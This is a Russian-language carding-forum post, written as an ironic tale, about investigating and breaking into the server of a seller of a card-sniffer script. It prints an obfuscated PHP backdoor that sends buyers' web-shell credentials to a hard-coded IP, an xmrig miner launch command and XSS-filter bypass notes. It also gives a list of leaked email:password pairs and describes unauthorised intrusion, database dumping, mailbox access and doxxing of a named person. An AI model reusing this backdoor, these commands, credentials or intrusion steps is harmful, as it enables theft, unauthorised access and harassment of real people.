- Регистрация
- 31.12.2019
- Сообщения
- 6,516
- Реакции
- 15
Земную жизнь пройдя до половины,
Я очутился в сумрачном лесу,
Утратив правый путь во тьме долины.
Я очутился в сумрачном лесу,
Утратив правый путь во тьме долины.
Дорогой читатель! Если ты собрался прочесть этот опус, желаю тебе терпения и внимания. Готов гарантировать, что эта увлекательная история окупит потраченное на нее время.
- I. Пролог или Алчность киддиса сгубила
- II. Шарада для гениев
- III. Изучаем Индексатор
- IV. Следуй за мной или Путь на сервер
- V. Адский партак или Печать дьявола
- VI. Живопись или Мнемоника?
- VII. Скрежет зубовный
- VIII. Мистер Сниффа
- IX. Скучная Малварь и (почти) Деанон
- X. Эпилог
Есть кодер с ником Billar. И он продает скрипт сниффера сс.
Дабы сэкономить чернила (а их будет еще много), отсылаю читателя к следующим темам - первая, вторая, третья. А дабы сэкономить время читателя, покажу сообщения, которые меня зацепили:

Очень неплохо...
И чуть более позднее:

Великолепно!
В тот же миг, как прочел это, смертный грех алчности захватил душенку-тушенку и я имел неосторожность отписать в теме Billar'а, что готов проверить исходники на уязвимости.
И он написал в ЛС:

Паника.
Плакали мои 5к$.
Шарада для гениев
Я обожаю шарады, головоломки, ребусы и прочие увеселительные занятия. И когда уже был готов отправить решение, внезапно понял, что Биллар, будучи человеком в высшей степени незаурядным, даст мне еще одно задание, а потом еще и еще...

Эта картина с жуликами не имеет отношения к описываемой ситуации. Абсолютно. 100%.
А в связи с тем, что мои умственные способности оставляют желать лучшего, неравную битву умов я бы с позором проиграл.
Я сделал робкую попытку перескочить эту шараду, написав, что работаю исключительно с полными исходниками. На что получил следующий ответ:

Меня раскусили.
Давайте хотя бы попытаемся решить задание, которое дал несравненный Биллар. Разберем код построчно. Я имел дерзость немного подредактировать код, для лучшего понимания:
Код:
function xss_cleaner($input_str){
$return_str = str_replace(
array(
'<',
'>',
"'",
'"',
')',
'('
),
array(
htmlspecialchars('<'),
htmlspecialchars('>'),
htmlspecialchars("'"),
htmlspecialchars('"'),
htmlspecialchars(')'),
htmlspecialchars('(')
), $input_str);
$return_str = str_ireplace('%3Cscript', '', $return_str);
return $return_str;
}

Преобразования скобок и одинарных кавычек не происходит. Тогда зачем это нужно? Должно быть, это уловка, чтобы сбить с толку незадачливых дровосеков (т.н. хакеров).
Обратим внимание на следующий кусок кода:
Код:
$return_str = str_ireplace('%3Cscript', '', $return_str);
Можно ли его обойти? Да. Например таким способом:

Идем далее.
Код:
function filter($data){
$data = trim(htmlentities(strip_tags($data)));
if(get_magic_quotes_gpc())
$data = stripslashes($data);
return $data;
}
Что касается условия с get_magic_quotes_gpc(), то остается только гадать, зачем оно нужно, так как еще с версии php 5.4 функция всегда возвращает false.
И наконец:
Код:
foreach($_GET as $key => $value) { $_GET[$key] = xss_cleaner(filter($value)); }
foreach($_POST as $key => $value) { $_POST[$key] = xss_cleaner(filter($value)); }
А теперь попробуем обойти этот код, как требует того задача:

Абсолютно ничего не выводит
И вот в этот момент я понял всю незаурядность этой задачи, ее талантливую задумку. Автор хочет, чтобы мы сами определили контекст, в котором будут выводится данные, обрабатываемые кодом. А если и не хочет, то следуем хрестоматийному принципу interpretatio contra proferentem (вольн. перевод - все неясности в условиях трактуются в пользу того, кому эти условия предлагаются).
Возможные контексты:
1. Debug. Простая заглушка, для отладки скрипта. Почему бы и нет?
Код:
print_r($_GET);
Пользуемся тем, что имя параметра никак не обрабатывается:

Обошли.
2. Простой html. Что-то вроде такого:
Код:
<p><?=$_GET['param'];?></p>
Не обошли
3. Атрибут html. Чуть посложнее:
Код:
<p <?=$_GET['param'];?> >123</p>

Обошли
Это не все возможные контексты, но их достаточно, чтобы протестировать основные подходы и понять, что задача однозначно нерешаема, в исходном виде. Ее стоит поставить в один ряд с такими загадками человечества, как изобретение вечного двигателя, получение философского камня или вычисление квадратуры круга.

Угу, не вышло...
Если уж две команды ПАНтестеров не справились, то о чем вообще говорить?
Изучаем Индексатор
Потерпев сокрушительное фиаско с шарадой, я наполнил свой дух смирением и проводил долгие часы за молчаливым созерцанием исходников. Было решено изучить код, который Биллар писал ранее, поучиться у мастера. Ведь его навыки в кодинге столь же высоки, как у Микеланджело или Леонардо да Винчи в искусстве. С его слов. Если их немного перефразировать.

В пыльных залах фамильной библиотеки (см. фото), мой взгляд упал на древние свитки, в которых оказались исходники "Индексатора Биллара".

Торговая лавка на форуме гофуцкбиз
Я жадно впитывал знания. Читал каждую строчку кода, чтобы понять, как мыслит этот гений в шляпе и с макияжем (аватар это его автопортрет, с его же слов). Ведь, как известно каждому, "Тут надо изобретать Теслу, когда вокруг сплошь велосипеды" (что бы это не значило, я все равно ничего не понял).
И вот в скрипте application/controllers/AjaxController.php, на строке 211 я обнаружил нечто удивительное:
Код:
${"\x47\x4c\x4f\x42ALS"}["i\x68\x69\x6c\x71u\x64l"]="\x72\x65\x73p\x6f\x6e\x73\x65";${"\x47\x4cOB\x41\x4c\x53"}["m\x64\x6d\x75\x6djm\x73\x71"]="s\x68e\x6c\x6ce\x72";${"\x47LO\x42\x41L\x53"}["n\x70cj\x69\x6d\x61"]="\x6d\x79C\x75\x72\x6c";${"\x47\x4c\x4fB\x41\x4cS"}["\x75\x79\x76s\x72\x71\x70\x74\x68\x68\x66"]="\x73\x68";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64bs\x69\x63l\x63"]="i";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78\x64\x69\x65p\x78\x79"]="\x73\x68\x65l\x6c\x73";${"G\x4cOB\x41\x4c\x53"}["zo\x64\x7ab\x6bk\x65\x79j"]="o\x72\x64\x65r";${"GL\x4f\x42\x41\x4c\x53"}["\x6dk\x72byi\x67oe\x70"]="\x73";${${"\x47LO\x42\x41\x4c\x53"}["m\x6br\x62y\x69\x67\x6f\x65\x70"]}=$config->getConnection()->prepare("\x53E\x4c\x45\x43T \x73hel\x6cs\x2eid, \x64om\x61in, u\x72l,\x20\x70a\x73s\x20F\x52O\x4d shell\x73\x20WHE\x52\x45 s\x68e\x6cls\x2e\x6fw\x6e\x65\x72id\x20\x3d :own\x65\x72\x69\x64".${${"\x47L\x4fB\x41\x4cS"}["zo\x64\x7a\x62\x6bkey\x6a"]});if($s->execute(array(":ow\x6e\x65rid"=>UserModel::GetCurrentUserID()))){if(${${"\x47L\x4f\x42A\x4c\x53"}["xd\x69\x65px\x79"]}=$s->fetchAll()){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7ac\x64r\x70\x66\x6b\x74"]="\x73\x68\x65\x6c\x6c\x65\x72";$view->params["s\x68ells"]=${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x64\x69\x65\x70x\x79"]};${${"G\x4c\x4f\x42ALS"}["\x64\x62\x73i\x63\x6c\x63"]}=0;$wbthbtt="\x73\x68";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7ac\x64r\x70\x66\x6b\x74"]}="";foreach($view->params["shel\x6cs"]as${$wbthbtt}){$heeqvanfyh="s\x68\x65\x6cl\x65\x72";${"\x47\x4cO\x42\x41\x4c\x53"}["\x72wc\x72\x70\x75"]="s\x68";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x62\x73ic\x6c\x63"]}++;${"G\x4cO\x42\x41\x4cS"}["\x66\x63d\x70yw\x64\x6f"]="\x73h\x65l\x6c\x65\x72";${$heeqvanfyh}=${${"\x47\x4c\x4f\x42AL\x53"}["\x66\x63\x64py\x77d\x6f"]}.${${"\x47L\x4fB\x41L\x53"}["r\x77\x63\x72p\x75"]}["url"]."\x3b".${${"G\x4c\x4fB\x41\x4c\x53"}["\x75\x79\x76\x73\x72\x71\x70\x74\x68h\x66"]}["\x70\x61ss"]."\n";}${"\x47L\x4f\x42\x41L\x53"}["y\x6dxj\x6c\x66\x6e\x61v\x62\x6c"]="\x6d\x79C\x75r\x6c";${${"G\x4c\x4fB\x41LS"}["n\x70\x63\x6a\x69\x6da"]}=curl_init();curl_setopt_array(${${"\x47\x4c\x4f\x42\x41L\x53"}["y\x6d\x78\x6a\x6cfn\x61\x76bl"]},array(CURLOPT_URL=>"ht\x74p://\x35\x2e61\x2e\x34\x32\x2e1\x39\x35/\x73/\x69nd\x65\x78.\x70h\x70",CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query(array("\x73"=>base64_encode(${${"\x47LO\x42\x41\x4c\x53"}["\x6ddmu\x6d\x6ams\x71"]})))));${${"G\x4cO\x42AL\x53"}["ihi\x6c\x71\x75\x64\x6c"]}=curl_exec(${${"\x47LO\x42\x41\x4c\x53"}["\x6e\x70\x63\x6aim\x61"]});curl_close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x70\x63\x6a\x69\x6da"]});}}
Я понял, что это подсказка. Биллар, как хранитель вечных знаний и исследователь, решающий нерешаемые задачи, раскидывает то тут, то там намеки, по которым пытливый ум найдет путь к настоящей сокровищнице мысли.
С помощью древних заклинаний деобфускации, я расшифровал код, но не полностью. Слишком сильная магия, недоступная на моем уровне:

Что я смог понять, так это то, что некие domain, url и pass из некой таблицы shells отправляются по некому адресу . Должно быть автор, разумеется, из лучших побуждений, желал помочь своим покупателям сохранить некие "shells", дабы они, оказавшись в руках неумелых и неопытных, не пропали даром.
Самоотверженный поступок, на который в наши смутные времена решится не каждый. Молчаливого одобрения недостаточно. Исключительно овации... Но только после 100% доказательства, ведь какой-то злодей мог дописать этот код в исходники.
Следуй за мной или Путь на сервер
Теперь, когда стал известен адрес сервера (5.61.42.195), настало время досконально его изучить. Скан портов подтвердил очевидное - на сервере открыты порты 80,443. На остальных открытых портах (21, 25, 53, 110, 143, 465, 587, 993, 995, 3128, 3306, 5322) сервисы не брутились и не эксплуатировались. Я пробовал найти в этих числах какую-то закономерность, но спустя месяц бессоных ночей отказался от этих попыток.
А это значило, что настало время ковырять веб...

Одиссей флексит
Подобно тому, как Одиссей застрял на 7 лет у нимфы Каллипсо, я застрял на тысячи лет, перебирая пути на веб-сервере.

Пока века сменяли друг друга, а dirb неторопливо перебирал миллиарды директорий, я ждал, затаив дыхание (периодически впадая в кому и выходя из нее). И вот первый успех (файл http://5.61.42.195/tmp/cache):
Код:
my $cmd = './xmrigDaemon
-B -o pool.sumokoin.hashvault.pro:5555
-u SumonziU2hBAKb8nE77vQyYdpVN6YqBikPYjen3P5c4aRUSjj1HDocghN27N45pAUHNaG9FuatFmDVG2Vr7Th7J66ZbF7My7M9B
-p billar:[email protected]
-k --cc-url=109.236.81.101:3344
--cc-access-token=162534
--donate-level 1 > /dev/null 2>&1;
./xmrigDaemon
-B -o pool.sumokoin.hashvault.pro:5555
-u SumonziU2hBAKb8nE77vQyYdpVN6YqBikPYjen3P5c4aRUSjj1HDocghN27N45pAUHNaG9FuatFmDVG2Vr7Th7J66ZbF7My7M9B
-p billar:[email protected]
-k --cc-url=109.236.81.101:3344
--cc-access-token=162534
--donate-level 1 > /dev/null &';
if(system($cmd))
{
system('perl tmp/cache');
}
Значит, будем следовать.
Прогнав это мыло по нескольким базам, я получил список паролей:
Код:
[email protected]:123456
[email protected]:3312345
[email protected]:3313345
[email protected]:ajkjd3vb3
[email protected]:ajkjd3vb31
[email protected]:ajkjd3vb3133
[email protected]:ajkjd3vb313345
[email protected]:AJKJD3VB3A
[email protected]:ajkjd3vb3q
[email protected]:ajkjdvb
[email protected]:Billar
[email protected]:killer666
Следующей находкой был скрипт (), через который я и познал, в библейском смысле, сервер Биллара:

Что за чудные письмена?
Не буду вдаваться в скучные подробности (это рассказ, а не урок), просто покажу кусок кода в этом файле, на который получилось повлиять:

И как итог тысячелетнего ожидания:

Когда я осмотрел содержимое сервера, то вместо тысячи слов это можно было описать одной картиной Босха:

Не пугайся, это не твой сервер. Но похож, да. Несомненно похож.
Первым делом, я заглянул в файл , к которому, как вы помните, обращался таинственный код из индексатора:

Идет запись в текстовый файл lll.txt. Давайте посмотрим, что в нем?

Биллар как-то писал, что ему важны не абы какие клиенты:
"Я ищу клиентов, с которыми будет активный диалог и взаимная работа над скриптами, которые здесь продаются. Меня интересуют не деньги, а дополнения, баг-репорты и доработка скриптов под широкий спектр возможностей."
Теперь понятно, что он имел в виду. Только представьте, сколько своего времени надо тратить, чтобы помогать своим клиентам обрабатывать шеллы. Молча. Бескорыстно. Нам остается только поразиться тому, насколько огромное и доброе сердце может быть у простого, скромного, в чем-то даже заурядного, сверхчеловека.
В соседней папке (http://5.61.42.195/lic/) лежал уже сам индексатор, IP-адреса клиентов,их домены и один безумно интересный бинарник:

Но про бинарник чуть позже...
Изучаем дальше.
Адский партак или Печать дьявола
На сервере ранее размещался сайт my-tattoo.cv.ua. Ныне домен протух, однако виртуальный хост на сервере остался. Я подумывал о том, чтобы воспользоваться машиной времени и заглянуть в прошлое, когда сайт еще функционировал, но более опытные мастера подсказали, что проще отредактировать файл hosts.
Я последовал мудрому совету, и вот что увидел:

Сверху вниз:
- Город Черновцы. (доменная зона cv.ua тоже указывает на этот город).
- Руки/Hands Billar. Признаюсь, стыдно называть это татуировкой, скорее какой-то сатанинский партак (или неофашистский). Будем называть это "Печатью дьявола".
- Подпись автора в футере - MB.

Я немного отредактировал картинку, чтобы можно было понять, из чего "состоит" подпись. Мне потребовалось всего-то чуть меньше часа, чтобы заметить, что узор подозрительно похож на "Печать Дьявола".
MB, очевидно это Михаил Биллар:

В подпапке этого же сайта нашелся менеджер шеллов (очень похож на Shell Enslaver):

Вас не должно смущать обилие СНГ-шных доменов. Всё это было еще в те стародавние времена, когда работать по ру можно было всем. Тогда и деревья были выше, и мороженое вкуснее, и пятизнаки брутились на qwerty и 123456.
Живопись или Мнемоника?
Я продолжил изучать сервер, и в одной из папок обнаружил telegramm-бота на питоне. Сделал дамп базы данных, с которой он работал, и обнаружил такое содержимое (кстати, tERRORistUA подозрительно похож на нынешний ник биллара в телеграмме - T.ERROR↯ist.ua):

Стало понятно, что это какие-то картинки. Любопытство взяло верх и я без какого-либо разрешения, дерзко и смело, посмотрел несколько фотокарточек. Увиденное меня вдохновило сделать небольшой коллаж:

Я до сих пор не могу понять, что это такое? Фотографии, для дальнейших зарисовок? Или это намеченные места для дворца памяти? В любом случае, приятно, что еще не перевелись любители изящных искусств. Не столь важно, кто ближе Биллару, Ботичелли или Бруно, его устремления похвальны!
Но не все фотографии были такими, например, одна из первых картинок меня сильно смутила:

Должно быть элитный сыр, раз продают буквально по 1 грамму. И ведь как разбирают! Сыроделы видимо знают свое дело (cheese - это ведь сыр, я ничего не путаю?). И опять Черновцы.
Что за удивительные люди живут в Черновцах...
Скрежет Зубовный
Продолжая свое путешествие по кругам ада содержимому сервера, я наткнулся на сайт стоматологии (32expert.cv.ua):

И вновь это город Черновцы, и вновь мы видим в футере фирменный знак маэстро:

И по клику, опять этот адский узор:

Ну а раз здесь побывала рука мастера, то мы обнаружим следы его незаурядной деятельности.
И действительно.
Достаточно перейти по ссылке (http://32expert.cv.ua/1/PANEL/), чтобы увидеть софт некоего месье Poter'а (смотрим на футер):

Удивительно, но оказалось, что это сниффер сс. Хотя изначально я думал, что это какая-то система для учета пациентов от основного сайта. Раз есть один сниффер, значит где-то рядом должен быть и другой. В этом снифферы очень похожи на опята (не рассчитываю, что все это поймут).
А как вы помните, а если не помните, то напоминаю, всё начиналось именно со сниффера.
Мистер Сниффа
Я нашел папку со сниффером (вот этим - https://sni.everydayimshuffling.ru/logins.php), но к сожалению, прав на запись/просмотр не хватало. Брут, перебор всевозможных эксплоитов под ядро и сервисы не дал результатов, потому решено было пойти окольным путем.
Перебирая учетки MySQL, обильной россыпью рассеянные на сервере, я обратил внимание, что у одного из аккаунтов был доступ сразу к нескольким БД. И у одной из них было говорящее название - "snif".

Расшифровываю хеш админа (пароль удачно совпал с одним из тех, что были найдены ранее в утечках), успешно захожу в админку.

Да, всё та же подпись маэстро. И по ссылке, уже привычное нам безумие, в увеличенном масштабе. На момент, когда я делал скриншот, в базе была только одна карта и прислали ее с IP-адреса в городе Черновцы. Разумеется, это очередное совпадение, не более.
Хочется еще раз отметить исключительную прозорливость Биллара, он добавил дисклеймер (всплывающая подсказка), а потому ему можно не бояться какого-либо преследования со стороны различных госслужб.
Ныне админка выглядит уже немного иначе:

Не смущайтесь от того, что в боковой части ру-домены. Они используются лишь как прокладки, я не уточнял, но так по нормам уголовного права, наверное, можно.
Нашлись и хваленые скрипты, с обходами всего и вся:

Эти скрипты и архив с гейтом можно скачать здесь. По своей сути, админка оказалась простой, всего две странички. Не знаю, можно ли считать, что я обошел 2 команды ПАНтестеров? Наверное, нет.
Скучная малварь и (почти) Деанон
Я упоминал ранее, что на сервере был обнаружен один крайне интересный бинарник, InstallUpdate.exe. Даже моих скромных навыков хватило, чтобы разобраться в том, что он делает:

Очередная, скучная RMS-сборка. Так чем же так интересен этот бинарник? А вот чем:

Мы берем это мыло, и пробуем подобрать пароль, используя те, что уже известны.
Несколько минут напряженного ожидания и вуаля:

Уважаемому человеку пишут с какой-то лаборатории. Должно быть что-то связаное с наукой, я не разбираюсь в научных терминах, извините.
Листая письма, нашлось много интересного.

Домен picup.space - это тот самый, на котором лежат "веселые картинки".
Нашлись и логи от RMS:

Эврика! Нашелся аккаунт на фрилансе:

Теперь маэстро хочет, чтобы его подпись еще и крутилась. Нет предела совершенству. Ars longa, vita brevis (перев. - искусство вечно, жизнь коротка).
Пароль к аккаунту на фрилансе совпадал с паролем к мылу.
Аккаунт подтвержден доками:

Все кусочки паззла сложились (даже ФИО из бд пирамиды совпало с указанным в профиле) и все нити привели к одному конкретному человеку из конкретного города.
Почти моментально нашлись аккаунты на facebook, vk, coub, foursquare.
Больше сказать тут нечего.
Эпилог
Во-первых, окончательно деанонить Биллара я не планирую, так как не имею желания выполнять всю работу за тех, кто имеет возможность "мониторить все сообщения в андерграунде в режиме реального времени и получать доступ как к оригинальным постам, так и к отредактированным".
Во-вторых, - я опубликовал факты и умышленно отстранился от какой-либо трактовки (кроме интерпретации в ироничном ключе). Выводы о "герое наших форумов", дорогой читатель, делай сам.
P.S.
И на память:

Вызывал alert() из консоли, само собой, ведь бронебойную защиту обойти не вышло. Ну вы поняли...
Вложение: https://vk.cc/awsom0
Автор: RedBear